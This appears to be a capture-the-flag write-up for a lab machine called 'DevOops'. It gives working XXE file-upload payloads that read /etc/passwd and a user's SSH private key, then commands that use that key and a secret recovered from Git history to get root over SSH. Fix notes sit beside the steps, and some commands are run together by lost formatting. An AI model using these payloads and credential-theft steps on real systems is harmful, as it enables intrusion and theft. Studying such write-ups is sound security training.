DevOops
Summary
I discovered two exposed services on the target: SSH on port 22 and a Flask web application named 'Blogfeeder' on port 5000. The app's XML file-upload endpoint had no external-entity restrictions — the page source even left a developer comment admitting schema validation was missing.
By submitting a crafted XML file, I read arbitrary files from the server's filesystem, including the web user's SSH private key. That key unlocked an interactive shell as the user 'roosa'.
Exploring her home directory revealed the Flask app was backed by a Git repository; a prior commit contained an SSH private key labeled 'authcredentials.key' — a deployment credential accidentally committed and never purged from history. That key authenticated directly as root over SSH, delivering full system compromise without any password cracking or exploit.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 2
nmap -p- --min-rate 3000 -T4 -Pn $TARGETcurl -s -i http://$TARGET:5000/Exact commands 1
curl -s http://$TARGET:5000/uploadFixDisable XML External Entity processing in the Flask upload handlerCritical
Exact commands 2
cat > /tmp/xxe_passwd.xml << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<data><Author>&x;</Author><Subject>a</Subject><Content>b</Content></data>
EOFcurl -sS -i -F 'file=@/tmp/xxe_passwd.xml' http://$TARGET:5000/uploadExact commands 3
cat > /tmp/xxe_flag.xml << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///home/roosa/user.txt">]>
<data><Author>&x;</Author><Subject>a</Subject><Content>b</Content></data>
EOF
curl -sS -F 'file=@/tmp/xxe_flag.xml' http://$TARGET:5000/uploadcat > /tmp/xxe_key.xml << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///home/roosa/.ssh/id_rsa">]>
<data><Author>&x;</Author><Subject>a</Subject><Content>b</Content></data>
EOF
curl -sS -F 'file=@/tmp/xxe_key.xml' http://$TARGET:5000/uploadchmod 600 /tmp/roosa_id_rsaExact commands 1
ssh -i /tmp/roosa_id_rsa -o StrictHostKeyChecking=no roosa@$TARGETExact commands 3
cd ~/work/blogfeed && git log --onelinegit show d387abf:resources/integration/authcredentials.keyls -la resources/integration/authcredentials.keyFixPurge committed secrets from Git history and prevent future credential exposureCritical
Exact commands 3
ssh -i /tmp/roosa_id_rsa roosa@$TARGET 'cd /home/roosa/work/blogfeed && git show d387abf:resources/integration/authcredentials.key' > /tmp/auth_d387abf.key && chmod 600 /tmp/auth_d387abf.keyssh -i /tmp/auth_d387abf.key -o StrictHostKeyChecking=no root@$TARGETssh -i /tmp/auth_d387abf.key root@$TARGET 'cat /root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh |
| 5000/tcp | upnp |